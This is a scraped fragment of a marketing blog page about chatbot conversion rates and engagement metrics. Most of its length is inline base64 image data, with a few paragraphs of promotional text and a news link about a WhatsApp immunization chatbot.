fP2P3FR2KV7cbOd+6wbjS0Z9lljvWMW7kF+ycdWuQZdznTHFtQ0A9kkoSdrcWBsNJJO6HI\/hTgL+hPzOQrs4PhNwjoix2yR7pZXs6\/ziDV2zeHKYwbizia0TERY17iNXqWCe0iZMeKEKX8+hCQB8u9P5ryRg3FmVXDjGxcO4vdbRZJCoE+Vd4qnp89xB6XHPO6gWdqB6Qn0GqeTpBWU2Xk5Zju005+ax2XhDWHR4XNnEeSxc0sGPz2X5cSbELUq3KCtoEqPs9SCf+cSendbgwTkfhadycxmFoyzI416zZXRKtrmjCgSXtpWmQte\/pDRc0QgDsk9z27YdjdpsvFniWsNkxsSHsQzuJDbdt0k+Yr6BcWwCyvf6xQVdifkDUjgLFI9syzk61YxjVtu2VY7HV\/c4bi0h4CQ3KS2fLQ4elSigkjYP6tRMLhJ4e\/fvVLjJVZzjb14+BWQTeX13CdlPGPM1svbik3NhMC32WO2UW5MdSgWmkq9EKHR2HqBv3qY\/wAxcj5DkFxhYjxFKvLLcxuRjBlWcp+pSElJX0oSEb1\/TOgQD7CrLdrzyjgHGufZ\/kCJts5EkXiBGnzpTCW5bMF1twgtdvgClo6SpOuwrmDLPEpy7eYqrbdeSMilR1jSmlT3AlQ+RAI3+NFzfUbQdofXw4d+iLDCq2IOPUjQGNSugsgyC3cCTrnnOWZBAv8AyxcQ4uLDYWh5mzuubC5D60fAp\/uelCfQ9zXF+WXeZfLg\/LdccecfWpx1xR2VKJ2SftJ71FuV\/kTiS68sk+vf1q2ty3GwopWdn133rkcTxb4w5G7L0PBMC\/p39x2rkjo6Doa38z7U2Gwk7UobPuKUXUL\/AFzrdJLJPdC+o\/KsDbZdO3TdV81KSAkqUd\/P3qWxOSwkpU2CT37moyGVtjZ9SN02psqOzQJTYa\/ZDTS1LSkdiT86lLjqjPBSlbKh86iNqV1gjtVXHnVLT1K2fnQIA0SkOLhyXX38mq8V+KGwoV+wXT\/sL1dGcVcsW7ibwvWi73yB9ZY3eOSplmv8Ep6hJtz0F7zRr3I6UqA9ykV5j2yfNhOpeivuMrH89tRB\/sq8s3+9IQGVzHijq6+nq7b1revxNadCsz\/Xtp9J\/ddPZXrKVHKWyNPpP7rvbx+WDH8IxnhTHsYvCLlZYtpuH1fLCth2Mp5lbat+\/wAKk9\/erxzlmGM4X48OPb7lTzUe1Q4didlPvD4GU9BHmK+QQohRPsE79q88pV6uc9SESpLzgb7IClEgD5D5VV6fcpr6XXX3XlDSdqPUQPl39qnZcECNTv8AVT\/1WRDpO\/nO5Xpfg3EfKWF+Mu7845ckQsAhS7neJWQuSmjElW91h3ykpUFHr31tjp126d+wrhO08k3HB+XE8g4NIFvkQbqufb+20tp8wqShQ909Pwke4JFYXJyHJnICbW5d5a4aDtLKnVFsH5hO9A\/hVoSXkr61KWdd9n5001TMO5AeigusTzEOAnbhynv716LeLfle0WPmnirGlWeJaMTh\/V+ZT4bCdtuSZslTkh1fbuQEqA9\/iV89VmL3EfKL\/jfTzg2UKwFVwTexk301oQhbfIHw+Z1dvh\/R9P4+nevMpy6TJIT9JedccQAkFR32HoPuqQMpyIQDaTdJYhlXV5HmK8vfz6d6\/spwqANDRyI9VJRxPs5IIgEevnv4rvNdqc5+4R5ZxziGGi73BPKRyNm2xlpS87bnGC0l5tCiOodR9B30DWc4xCewvlXwq8X5AW2Mkx23XZ26wQ6la4n0kLW0lZSSArpQrYHpr7q80bdf7xaHTJgT5MV0EFK2lKQofcQQaakZFd3Zf052ZIMhR35ilEqJ0Rvfr86k6+ZnbXhzEKY4swyY3nhrqI5+yvQbly+4\/lfh75fHDuNoxtdoyhlOaRFSHJjtyiB8hp9taz+jAf8AiUgJ9EnvoEGD4EORoXGnC+fZVc1JNsbyOww7mk9wYb5daeJHvpCyrXv0gV5+HIbgjzEpmO9L3ZxPWdK7+496rHvcxttTLUhYQs7UAo6Vr02Peo+tY9pbwmft+yo1MYovqS8af8fsvWiRj+O8McW8mcD2KazJVEw255Nc3Gj2UqVJ6IqT8imM0gfjv+dWkuTeMORueONuFsg4etzmRWm0YlEx+bGiPt9VuujSiJCnUKUOjzCUHr9CG9kgdO+DFZPdT1lyc4S4npUSo\/EPkfnS4Ga320tuNW27SYyHU9LgaeUnrT8jo9x9+6kbXDDmnWZ27oP8KyMdojVu8yTzMQeXkvV2JlWJyvEDnjD62MhOLcOuW7IVMSClM2SyWlPIDyffpWlBUNkHY9UkDnvxL3W1Xzw5cbZNxnambNgX1pOYk2YOLkOQ7qCdrckLUS4Ft9XSNJ139eodPDqMouTalKbluJ6+y9K7qHuKS5kU15gx1yF+X1dQT1HQPz16UlOuxhBB2ju2BHr3qMY9TZGh0j6CPDjvwXfniOyGw49yV4fLtkRQLdDxawS5RV3AaS9tR+3QBP4VuFXBcbN\/E7kmQ55hd2uthyl5Mqw5dbcgVFjx4piKHloLSwp1S9dASDvp6jrpJNeUK73Lf6C9IU4EDSepW9D5DfpVwbzjIERW4KbzLEdlRU215yuhBI0Skb0DQLiG5Wu4EeqShjlNoIE7ETrx47r0a4edwDw+cQLvWS8iHCZubZcqTb3ja5E51+22uSB5RDKSUpW5vursUqOvXtksTGMfjc58tQMBukVuZzDx8\/ecPkFfkiUuYgqUltStdKlOBSiOxAG+1eW0i9XKShKn5jiw3+qCokDfrr5UyMrvCHG3EznkrY0GyFn4Nf0fl+FI6u2SXHfu8I+ylOOWz3OcCddYgcwR6Rz1XoHnnBGN4z4V7xk9545yDDsnsc21tOszb6t5qW8tbbTsr6KFdDYV1LCdjt36Tqs68bOB3nI7pl0m0eFRd\/dXa21N5sm5uJLHTGQS8GP1T5eiNb79FeZU3NMiuq1qmXaTJU7rrLrqlFRHpsk99U1Iy7JVsqZfusktqSUlPmq0R8tbpHXBkEHnz4x39ykq4\/RfDp1158Y7+5Wpbio8sqSsFKjsjXt7V0TYbliPiGwm04Tmd6hY\/nFjYEOy3yWoiNcYqf73ElL\/AJi0kkIcPbXY1zO+4dnXYnvuqx5slgAIdVoeo32NMt7wUHEOEtKx8Oxd1nUc12tN2498VsjNOAuS8GmLiZFht0jgHSJCGC7HdT7KQ6jaFgj5Gti+Hji6BEfvHI+d2Bcq1YrDD0eDKZUG59wdV5cZlQOupPWeoj5J71r3B+e+VMIZEXF89vVtj\/s7cxRaH3IVtI\/AVsnD+c+QOQs9xS155nVzulsXfYJdjSH\/ANDrz0dygaHb5kVsWQsTVD2+i6\/BW4G+9Y9hOYnY7aqR4nxZLFm9njM2+2Qsgt1qjpvyrVFTHjfTj8ekIT8IUhCkJUR6qSe1bdxTK7NzNZrhebTaWMkVe4sdnMMT89LE76WwjpbucBSv1lEeqRs7JBGjXLfiHkXBfKmXC4BXnpvk4L6h37PL1\/Zr8K11ZLzLtklL0WS6y62epDraylaT9hHp+FOq4mLW5NOOyrV10lp4XiL2ub2DEhdm45wDx9AvhnQeNeQ8lloKixbb7b27dAbUfQyXwe6B6nXTvVXm1WvA7XyFnsfA4tujAcbz03Rm1uKchNzwlPmpYUoklA+H3I3vVcmXTmLPLlCTAumY3qZGOgWH7g842R\/mqURW1vDDdHnWuSrpKV0xY2CXMOLPolSy2hA\/FRFXaF9a1HxSbqtmxxzDb1\/V2rIJnXyWR8HuIe4Y5ZhhQLwZs8lXzLKJSgrX3dQ\/rrM+TYWPYHx7H4qxGyXjIXMwag5C3d3FJ6HClKgkMMoBPba0K6iTsfjWmfDHmVktvI7mI5RcBFsWaQH8dmuqV8LBfA8p079Ol1KDv762XH5l5t4xlNcJ21cWHdrHcXILMj6KlcsJW4FBlDihtLSlfEAnWwr7auW9w2tTyt4FfJHSqyqUcZrGOM+SitW2VzTxXZRii1rzzjdtcV62oGpE22+YXG3mQe6lMqKgUjvog0uTzFxdks9nIeUeFHZ+Yx0pTLfZua4see6jsHJDHTsKOh1dJG\/xq+80ceZFM5\/tVj45tTtjzWSxHfuLsRTkWMbipHW86zv9RsdypQ+EkKPpUzNOQ\/FBxpa414zu041NaddEWNe3rXAnLec6SRp9IJUelJOz3pQHEyeOu6yC9tQAN35TBCMSlX2RlsnxRcqQkQYFpIcskMt+UJslCOmNHjtnv5Tfwkq9AE+vesMxvjC232xq5P5F5HRiBvt0eRbVvwnX\/pZT8brv6M9SEBSunq0RvdZLO48yrk5duv3MPNlpgXnJYCH8dgyJJcU6HAfKDiUANxmlEdIPz7a7GneSrY9iXDFs4+5fdRLze3yP\/F2HEWlUi2wlb6kSljYKFHuhv9bvvYB1UsgFVtdp7lfuZcmst9445WuNguaZ1hZfxyy2ySnZQ95CFfEnffuAo\/Pv3rgO7SYalut9H6TZ0fxrqHnWcrjPh\/F+Gl6avExxWTZA2T8bTjqQmMwr\/KS1tRHt11yNNdLkhSx8zXL9ILgS1reGn0A\/C7bojZBlNz50JTbvWO5HahP97NVSvq7FP9tShEV5XmE9jXLiXLuC4NKgpQVHsKeaX5KuqqqAT2BpB17n+ym7FL8ymOyfpbQQD0lPt86hFClE6T6U4yQk\/jVw1GUkFI32706M26jzCjsFb2UJKhsULbSXB2pLjWu9LabOwdUN\/wAVJxzLpDwI8V4Ty3z9ZsL5Asf1vZpUWc65EEl1jzFtxnFo+NpSVjSkg9j9\/at8eIzw38dY\/wAGSOQo3C9x4zyGFfUW6LETeXrmxcIymyVOLLillrpI7d07I18XUNc3eD\/mjGeBeaLZyHlkG4zLZDjzGXmbelCnledHW0npC1JT2KgTs+g963NmHif4FsfEOYcbcOY3mjr+cSI7lwlZM\/GUiMhpZUCyhknajvXfXrsk6ArUtXNbGbbT76rssLqUOrHWHs9n7mePLmD3J3kLgDi6xeNqx8TWvHFMYjLu1hiv2\/6W+oqbkMxlPp81Sy6OpTi+4WCOrtrQ1sbifw18Rvx+Sbxa+KXOS77YMzn2eHiqb8uCYNsbeWEPj4wt49gnaio9uwJBJx6N4u\/DRfMosvOeZ8fZg9yXZ40XrjxJbAtcybHaDbT6io+YkDoQdAdukdlep13x3zh4e7g7eLlzNiuWx8ln3yTe2cgxeelt4F5XWpktuEBKUrKilSdn4vbXedpGWCeA97\/yrNJ1DZ7hMCfHjsQfqCs0xng\/jPIbhzy9cOMLtj4xHGHLlZLTdZr30q1Sg3vailSfMHV3SHOr4Sne\/U3zPvCNxrdfDFiWc8dRFxc9i4yzkd7iCQ66blCXtDkhLbiiElpadkNgDSjsd06smVeOfCclyDlS6P4zd2Y+X4c3ilkH6N19HlpUEvTFlY2pRUSSnqIGh31s42PGrFx+7cP37C7XMEnjzH27Ldo8wISzcU9ZLraSkqPlqQSAVAEHR6Tqn5g4DXWZ\/wDzt6\/upDUtg0FsAzJE\/wC3bwn91u3EvCrwjJ8SmdYMeN3LvZrJhsW722zousptTk1TEZZAeDnWSpTixoqKR1enYasbfBHEF\/50wrjzM+BZvFUOYzMmPMSMldkG9dKB5LQccWryh1oUnaSFHr0O+jVqY8bfD8rn\/O+SLhjGUtYxmOMox9uJFRHTMYPlMtqVoueWkabVrSj6jt7DXT\/IvhBt2W2e4WjBOQb1ZVolM3mLeZ0dp1IcQAy7GUyru4g9R0shJ7d6KZ07XIesa8Yme5MbUtw0mo4fKOM6xrxAmefHis85S4Q45\/u\/wPGsj8Pt84dj3W9tQbnPcvKpsF+IpSRtt1wrQHB37pVoDuQfURPF9wxgvH2GXFuy+F2+4mYU9LFrymNfnbhBnRQsgLe6lLSkuJ6VJHwqBVo60UlrNPFDwVEwbGuKsPxHMMhxKBkjV\/ubOTXFIdW2lot\/RI5aJ8pBCio60OoHseomrRnnif4Dx7g\/L+K+FrBnYOamN9IayOU07EtqGnOs\/R0oUo9auySogE6SST0gU1\/ZA7vc7\/TVJWq2rmHUaab767\/MdY4HMPBcWydoOvtpDLxR232pEqR5iire9mmOv3ArKLtVwdVgzEKY451jYPpTJV8yao2ev8KUpj3NLJduq+g0KNmjZ+dUUdetJLnyoSzyU2P0kAKBP41R4JbPb0++oPmrHbVPNBbx2UmnB52TCyDmJUn6WpKCgq9fSoq1E9908qOop9KQhop9RSmSmtcBqE2y86g7CToUOSnHTogjVSy2CnVRFs9Kif8AqpuoTmuBKQW1OHSTVPJcbHxmnB1o7oG6qpS3uyhqkgKQOMwEyVKB7E1Ps1xkQJzMlp9SHWnA42oeqVDuD\/WKgqbKO+qELIPalZUNN4cNwrFCuaTxVZuF1By5jJ58x1vnbBYSZE76O01mNrj\/ABPQ5iEBP0sIHdTLoT1FQ\/VO9+9c2yLTJYXpIJ71fsD5Myrjm9sZDiF6kWy4ReyHmFdJIPqlQPZST7ggg\/KtuHxFYhkq\/pue8H4Xerg53dmRQ9bnHle6lpYV0KPzPSK2T8NfgOc6HLsj8Dj4Faq\/q6ka8j3rStkxm7Xu4MW6DCflSZCw2yyygrWtZ9AEjuSd10LlkGPwHxJL40XKbXmmYFl7IWmVBX1ZCbPU1EUof84pWlrA9AAKtLnibk49Efj8W4JjWCqfbLbk22R1Ozyk+oEl4qWn\/V1WkrtkUi5vuSJUlbzzqitxxxfUpSj6kk+pqUG3w9pLDLip2V8P6P0HOtnZ3u0nkrcqaWZpWFHsrvquq8Ty\/FvEjj1txjK75CsXJdmjiJa7xKX0R74wjs3HkOfzH0+iXD2I0D865IkKCz69qI0t+M4Cjto1nWuIut3k7tK8vxnD24tNUmHbgrsG8cweILimz3DjnNYkthx6IuDFeujHXJhtrGlmNI9elSdj4VFOj21Vk435gwuz4LcME5Gwm4ZFGfuzV1ioYuP0VLTiGVNkFQBUQQr0Gqw3BPFjyXjVlbxa5zoGSWJodKLbkERM5hA+SOv4kD\/NUKy1rxBcbyE+fK8OuELkevWy5LabJ\/0Yc0PurpaN\/Sq6tfouFr4VWtwWPpT3g\/vsmeUOQF8wXnHrXhWBu2lFmt6LVCgxZDsx1baVqUjuR1EgrI\/qrOoNogcDtJ5H5slpu+buI8604y495zrTmvgkz1bPSlOgUt76iQN9qwWf4s82tcF628f2fGsGjSElK1WC2pYkKT8i+rqc9\/UEVoS+5RNukp6VOlOSJDyytx1xZWpaj3JJPcmo6+J0qALgZKmtcGr3QFNzcrR6+quXJOb37N77NyO9z3ps+4OqfkvuHanFk9z8gPsHpWCFsBRKjsn2+VTDcCsECoLgKldevWuRu65uH5iu9sbYWtIUm6AKpUlHoNUtEpxSfL6zr5apjVG+k7qoDxCuloO6UvqB2aoAVVJajpeSCT39qQsBB6N+lLHFJnGyaJCRoUpt1xsaQrW6CpI96T5iaSYToV3djIUk6FRVsrR6e\/2VIbkhVOBSVe1TROoVEOcxQSXUDaTqmzJWk\/qipzqARsCoDzSu9NMjirdKu7aVIZnuDY0mnFSVK76ANWza0H4RunUKcUe419lOa8gbp7nvBzSpgcWr1Wf66eZUAoEk\/wBdRkJAp1KtetPDioH1nkbq7svtgA9j99OqmDXZWu1WMvFA+E02ZLh7dXrUvXQNFXyvPFX0Sgr+eT99R5JCh3O6tiX1pG90oS1a0o0dbmGqSKoOjklxgKV27DdVTGHvVUvJJp3z0io4CeXOSUMJQd06eg9umo5fCj2pQfSB9tOEKMtc5LWwn5UlLCSdaqhmJoRKST2olsoh6fEZvXcd6Ahts9h2psyu1NKf370uYJAxx3Uwuo1rVMqWkVGLu6QXSfekLk9tKFdbNb3L5eIVmaeQ0ua+2wlahsJKjrZFX\/LOObth+TwMbmvtL+sltIjS0IPlr61BJ\/FJPcfaPnVrwBav7tsfV3JNxj+n+eK3UbjFzTObrx9fXUpl2q7IulkkK7lPQUqcZ\/zSASPx\/ogViYhiFa1rjIJaGyR5wD5L0bop0Zw3G8Nd15IruqtZTMwD2S4tP6oIB5wFqj\/g1vr+eSsCgLakyoh6npJHQyhvpSpS1b7gDrA9zurnO4pV9WTJ+L5jachct6S5KixFEOJbHqpOzpQA7+2\/bZ7HPGQiXyZybj0V9Cbnd7aluEFEJ61BhIUgH5nrT\/Vv2rGeFccv2OZJcb9f7VOttugW59ElyUwtpJ3r4QVABXoT236VSGJXBaaheAWtaYgdrMAT367aLcHRLC2V2W3UOe2rUqtLw4\/2gx2Ud2g7Rzbjkta2O1LyK8wbNHdDS50hthLihsJKzoE\/11nL\/B6zKl2q15vaJt1iIU4qCApDh6RsjvvvWM4A6Vch2JxCCEuXRhSQO2gXB+dbujynH+U51nZ42fjiYXo7t\/ZDyVpQWyfMCikoGyAOxHt9xlxK+r0KjQwwA3MduffrtyVDoh0bw3ErN1S7aXONYUwe3sWmIyyAZjVwywtM4xxm\/kFpkZFdL\/brLaoz30f6TK2oqd1vpCRr0H21bMrxlzEri1DZvlvurT7AkNSITnUOgkgBQ\/mq7Hts9tVsHH3Mpx+x3W3qwtrMMU+t3mAhIUt7zGldIdSEAqCSADvp7E+o33tPLWJWHHm7HdbHbpNp+uYqnXrZIUStgp17HuP1iNH3H31Jb3tV95kqOlpmIjkCJ1zA850UOJdH7a3wP4qhSIqUw3rC4vBkuIJaI6tzTsIM8So+PcafX2It5dcMut1phuSFRR9LSoArG+2wfcAn8KjRuMBcbleIloym3TmLRb\/rBclkKLbo0doHyI171mVnn49bOCoUnJMeVeIpva20sJkljpX0uEL6gD6AKH+tUTimRbL3fsyi43bPq9Nxsq0wIKn\/ADFbCQCAo+vxHf41A+9ugKtQnRpIGjY0IHjstGl0fwarWsbQtBfWY1zu1UzkljnDT5ILoAgz3LAcaxF\/J7ffbjHmNsosdvXPWFpJLqUgnpGvQ9vWnJmFSIGFWrNVS23I90kux0MhJCmygqGyfffR\/bWY4BYr3YMNz+4ZBaZdtYXZVxEGWwtkuOrCgEpCgN9yB96hVbna7tduCMSbtNrlzlpuUpSkRWFuqSPMdAJCAe1SvxBwrlocMmZonuIJKzbbotSdhge+k4V+pqvjtTmbUa1py7\/KTAjXdYVjmGyslt1+uUaYywixQTOcStJKnQAo9I16H4f7as0ec4ydKUfvJraHFdrvLVk5Btsm1zm5zlhKExnY60OklLnSAgjff27Vri4WC9WttDt0s1wgBw6SqTFcZSo\/IFYAJ+6rtvduqV6lPNoIj0lYOK4H8LhdrdMpOzPD85g7h5AngNFlOLYVc8ttsm9SLpBtNoiHodnTF6R1\/wBBI\/nH+yrbmXH72NxYV1iZJbLvbrg6WW5MVZ7OAbKVJOyO33\/brY3mse3TL7wVDi2KE9Mctt5Lk2NGBU6pBKvRKdqPZaT6f9XaLnuKYtbuPrdmFsxKfYZb93RGXHmPqW55QadV3SddOyhJGxvWvYiqBxGs6vFR8dotDYHkZmdfRdKOi1nSwvrKFGSKLapqFzhqT2g0BpYcuxBIMrA87wuXgWRKx6XPaluBpDpdbSUj4hvWjWRjh25ucgq4\/wDrmN9ITD+mfSfLV0dPSFa1ve+9ZLzViORZLnsSfYrNMuEW5RI\/0aRGaUtpW+3dYBSn1B2T6HdZXFdQ94lZHkuhYYtBZWUnt1hlJI\/tFVjiNU0mlrpORxPiIj\/haVPohYtxCrRq0yGdfSYySRLHBxdBkTpBkbc1qDC+Ml5bjs7Jn8mt1phwZIjOLlhWtlKSDsHt+tqk5ZxhdcVtTeRRLrbr3Z3F+V9Ngu9SW3PZKwfTf3kfcSBWVYlAmzuB8niW+I\/KfcurCkssNqcWrXkk6SkbPbdLttruWIcH5SMuiv283uSy3AiSQUOLWCCVdCviHpv09EfLRp5va4qk55hwGWBsQNefEqu3o7h9WyptNBzc1B9Q1czoDmlwDSD2e1lA4HUK3I4lYi2i13K7cjWW1G7Qm5rLMpKkr6FpB7d++t6rXt5gtW65yoLFwanNsOqbTJZ\/UeAP6yfsNbxyh9lrGMJDnFL2Wn6hj6fR5+mPgT8H6NCh39e\/zrR06M6idJaet64K0uq6oy0qSpn3CCFAHsCPUVNhtxVupNR076ac+7X1WZ0ywiwwbq2WdPKeySf7k6tB1LuydTplVvO\/nVNH5U8tsJOtehqmk\/I1q5VwwdKfQsg9qkNvfOrcJkXf+FM\/xB+dOJnxAe8pn+IPzp7XAcVC5h5K6JPX33VCzv1qCm5RPUSmdf6QfnTybpC95jH8VP51IHtPFQFjhsE99HHyqvkAewpsXOB7zGB\/0iaDc4B9JbB\/6VNLLOaaBU5J0NdqoW9Ux9Zwh\/jbH8VP50g3CIT2mMfxU\/nS52pcj+SeWjXrTRHyptdwh+n0tn8HE\/nSRMh9v+NsfxE\/nTS4J4aeSfBUB6Ugkk9xSTOhD\/G2D9zifzpImQyd\/S2P4ifzpA4c04A8lISO1VUND1qN9OiDt9LZ\/iJ\/Oj6bEJ7y2f4g\/OnZxzSZe5OkHdU70gTYf7Wx\/ET+dK+mQf2tj+KmjO1LB5IUDr0qier+jSTOhHt9KZ\/iJ\/Oj6ZCH+NsfxB+dNzDgnAGNk8Cdd6SVU0Z0Mf42z\/EFIVMh+0tn98fnS5wgNPJP7+2nBqoYmxP2pn+In86WJsQj\/C2f4g\/OkDhxKUtPJTo8mREfblQ33GXmVhbbjailSFA7BBHcH7qlfW91Vc\/rlV0lKuHWHPpZdV53WPRXX+tv8atAnRB\/jbP8QfnVRcIY\/wAaZ\/iCg5Hbpzalam0NY4gAh2hO42Pj3q8OXW6yJ5u790luTyoOGSt4l3qA0D176tgaG91NuuYZVeoohXjI7nNYA\/vT8lSkfeQT3P31jf1jD\/amv4gqouMM9vpbX8QUFtFxBcBI27lI28vGB7W1HAP1dqdfHXVTI8mRCkNzIchxh9hQW042opUhQPYgj0NXV\/PM6ksqYfzG8uNrBSpKp7p2D8x1Vj\/0yH+2R\/4oqn0yF+2R\/wCKn86bUp0qhl4BO2yW3vbu1aW0ajmg7gEgK6WbI8lx5ZVYb7NgBZ2ryHlICj9oB0fxpq4XS6XiUqbebhInyF6Sp2Q6payPlsn0qCJsIf43H\/ip\/OlCbB\/bI\/8AFTQKdLNmgTzjVI+8un0Rbue4sGsEmPTZTl3O6rtv1ObjIMBCy8mIp1RZDnf4gjet9z31701DfmQJLcyDLdjPtHaHWVlC0n7CO\/8AbUf6dB\/bI\/8AFT+dAnwR\/jkf+Kn86dkZBGkFQ9dcZ21MxzCIM6iNo8FerxlmU39hMa9ZDcZrI1+jfkKUnt763rf20iDl2XWiIi32rKLtCitbKGY811ttOySdJSQBskn8atQnQPeawB\/pU1UzbcfSbHP\/AEopht6GXJAjlAhWRil\/1xuDVfnIicxmOU7q6M5jl0eY\/cWcouyJklCUOyEzHfMdSnfSlSt7IG+2\/nSbplGR31CGL7f7jcENK6m0yZK3UpOvUBROj61azLt\/7ZH\/AIo\/OkGZBH+OMfxU\/nSCjRY4PDRI7kPxG+q0zRdVcWncSYPHZXe0X292B1Uix3aXBcVoKMd5SOofbrsfx3S595vl1YVHuF4my2nn\/pTiHn1rSp7p6fM6SddXT8O\/XXb0qzpnQu\/\/AByP\/FTS03CEB\/h0f+Kn86cKdLNngTz4qL4y8ZR6hlR2T\/GTGvdssituW5daYAt1uya5xowHSGW5S0pSPkkA9vwq3NXe6W2aq5W25SY0xfVt9p5SXD1frbWNE79+9W8XOGPWYx\/FT+dNuT4JOxMjn\/pU\/nR1dIAwBrv3pDfX1TJnqOIbtqdPDkp9syXKbCytiyZFcre24rrWiJKcbSpWtbIB9dACoN3vV6vLyXbzd5s5aP1VSn1OlP3dRNUTMgHuZcf+KmqOO25Q39Mj\/wAVNR9TSzZwBPNT\/wBSuzSFBz3ZOUmPRXKJnedQorMSDmV6YYYQlttpue6lCEDsEpAVoADsB9lWyVc5k2U5MuEt6TIeV1uvPOFa1q+ZUe5NRHJERJIEtgj7HB+dNmTEJ\/wpn98UxlNlIywAHuUte9ubtgp1qjnNGwJJj1T7hK9qHv3pnevenG5EMjvKZHb3cFJU5DJ39Mj\/AMQfnUmnNVWnuWMA69qrvfsKpRVVSo3RuiihCN0boooQjZ+dGz86KKEIooooQjdFFFCEfhRuiihCN0bNFFCEfhRRRQhH4UfhRRQhH4VUK17CqUUIVSrfsKp+FFFCEfhR+FFFCEbPzo2fnRRQhGz86Nn50UUIRs\/OjZ+dFFCEUboooQjZ+dGz86KKEI2fnRs\/OiihCNn50bPzoooQjZ+dHUfnRRQhG6Nj5CiihCN\/ZRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCF\/\/9k=\" width=\"303px\" alt=\"chatbot conversion rate\" \/><\/p>\n<p><p>More than half of all online sales already happen on mobile devices. Customer support also happens on mobile, so make sure <a href=\"https:\/\/www.metadialog.com\/blog\/conversational-ai-chatbot-how-to-increase-conversions-with-metadialog\/\">chatbot conversion rate<\/a> your tool works on screens of every size. So I expect to update this list on a regular basis as new chatbot stats come in.<\/p>\n<\/p>\n<p><p>It was not until 2016 that Facebook allowed developers to place chatbots on Messenger. Brands started to develop their chatbot technology, and customers eagerly tested them to see their capabilities. You don\u2019t need to reinvent the wheel when it comes to creating a chatbot. Chatbot interfaces are universal like instant messaging and live chat that have been around for years.<\/p>\n<\/p>\n<p><p>It\u2019s likely that your chatbot containment rate will never reach 100%. If you can determine when your customers need help the most, you can factor that into your work scheduling. This will help you reduce the escalation of more complex inquiries and increase user satisfaction with the quality of your customer support.<\/p>\n<\/p>\n<p><p>This method lets you know how well you&#8217;re doing when you&#8217;re &#8220;testing the waters&#8221; with new approaches. How often is it that you get website visitors, but none of them wants to buy your products or services? Or maybe you notice that your web traffic is growing, you are getting more click-through rates, but you can&#8217;t seem to be making those sales. Conversion Rate Optimization is a routine task for every digital marketer.<\/p>\n<\/p>\n<div style='border: grey dotted 1px;padding: 15px'>\n<h3>CARE Bangladesh launches chatbot on WhatsApp to promote immunization &#8211; CARE &#8211; CARE Stories<\/h3>\n<p>CARE Bangladesh launches chatbot on WhatsApp to promote immunization &#8211; CARE.<\/p>\n<p>Posted: Thu, 04 May 2023 07:00:00 GMT [<a href='https:\/\/news.google.com\/rss\/articles\/CBMicWh0dHBzOi8vd3d3LmNhcmUub3JnL25ld3MtYW5kLXN0b3JpZXMvaWRlYXMvY2FyZS1iYW5nbGFkZXNoLWxhdW5jaGVzLWNoYXRib3Qtb24td2hhdHNhcHAtdG8tcHJvbW90ZS1pbW11bml6YXRpb24v0gEA?oc=5' rel=\"nofollow\">source<\/a>]<\/p>\n<\/div>\n<p><p>This includes the number of initiated conversations, questions asked, and responses provided. A high engagement rate signifies the chatbot\u2019s effectiveness in capturing user attention. Providing adequate customer assistance is one of a company\u2019s main challenges. At any given time, one customer service representative can only respond to a maximum of two consumers.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='margin-left:auto;margin-right:auto' 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ByPU1AKu7IUQvIURzkUydE\/7Cjl1p8kznHvSB0ORhk5owmjaLEpYteeyCFIxWhWP0NErjSpIe2aHyQyKcdJOPlRmva\/1Shnc3lJkJ61qwT3NYwIPIIpNmPqKIAql5ScqoaatBGTkinLZNaFeOBU2VC66V0+KIN3p\/PGhOAaHW7GNuaVuLnA79u9VAyiB+FsUXPaspi+oIGwWrKY6d0PqBfEyz5UCi1uvIoJYSBlBo9ajkV86c3sV9YicpRtWQR3kWO\/UK6D3F1WG2tIfPEkff51zxtv4dSg6uB1A\/rXRO7pob7ZelPEwzAcGmKSn3xyO8h+qXrZiySJvmV15+yPq4utl28RfJjyuM9ua6LuB1QnjuK4t\/ZB3MlmkmkySYzJ8IJ967SRvMtgw9VzXSxO3wsf7lxVWzp1D2+8qgfEa18rV5Tj73NR3QZQkzx59jU68VbUpeLKB94EHiq60t\/Lv\/k1Ufh6mFu6NXLteXqt1\/CpVC3SwIqDbQucxqmamsTdjTBNwEnaxsiiH4s0VtiekYoRGexJoraEdI+lBPKuE79TXteDua9qqusrKysry8srzA9q9rK8vIVuLUYtJ0ue8kOOlcL8ye1U5rW5ZY9KuJInPWRxz6mj3i3udWkXSrWUFYOZMHu3t+FU8+qvqOs2ujo2Uz50xHog5pN7+rMIwtWnhENK6od+KlKW+qXUStBDduQgDSRIT8R5Izj\/AEfypH90bkWIxxSark5ILw9WCf8AV\/xod4n\/ALRO3PBe2stq21i2ra+0L3E9rGxItlEfnOZOkFgeg9WMfdGSRwDE\/Aj9rbR9\/bqt9u3tlNENxyzXVndyTzGIt1dAjiEi4CdS9ACn72Tjk11kLiI7NAwPPJ+F189qdUiZUCJwcSTa4a4tBPALg0tFzjlSjee1d57g2ndaBpN3qVjdzqFF35TBiM\/EMqMrkZGRUZ2l4Q7v25tSPb0+4dfuZWkllmllWSQhnjKZQ8EFc9QzlernpyARcth4t6Bf6\/cbVOm6qusW0jxvaxWpnLdIyxUx9WRj3x9KPf2jb\/6s7l\/6GuP+rQ\/vMWtYJk6YDOKgtO4C3e3y4VHy+HW8Z0kW517cD5MQiCpIgiVJFcYAblj5aAsee\/ozAlNE2nurS3lmvL3XNRlmSJS86MAOgsSQv3R1FznAHYDgAAWy+42P\/wBGdzf9C3P\/AFK1\/tG3f+zO5v8AoS5\/6lS3UGjgD5lGdTSHsfkoD9j3Dn\/5Jvf\/AMlqa3uibiv\/AODPp10bVgOuL7K2WIOfveg7emfnU017xN27teGK43JbaxpkczFI3u9LniDsBkgdS817tPxP2Zva\/l0zbupvPcRRGdkaB0+AEAnLAerD86KzVS03aBdAm0\/qNIkBt8f7ZCdDtLyITS3tvLDM\/TbxK6kNlyBnB+ZFWJpNvaJLcTWbuylliHUAOkIoXpGPTIP5mgIZJNXWaXDLD5lyR7hF+H9emn+g6jFDapE7fxDlnGezE5P6ms+pkMpLkxDtjcAe39\/VSeIevrT+JsetA4tQiBBDA08iv4zwrj86z3u2rUY8IsZF96bzHqIzTUX6H+YfnSUl8v8Ae4oBm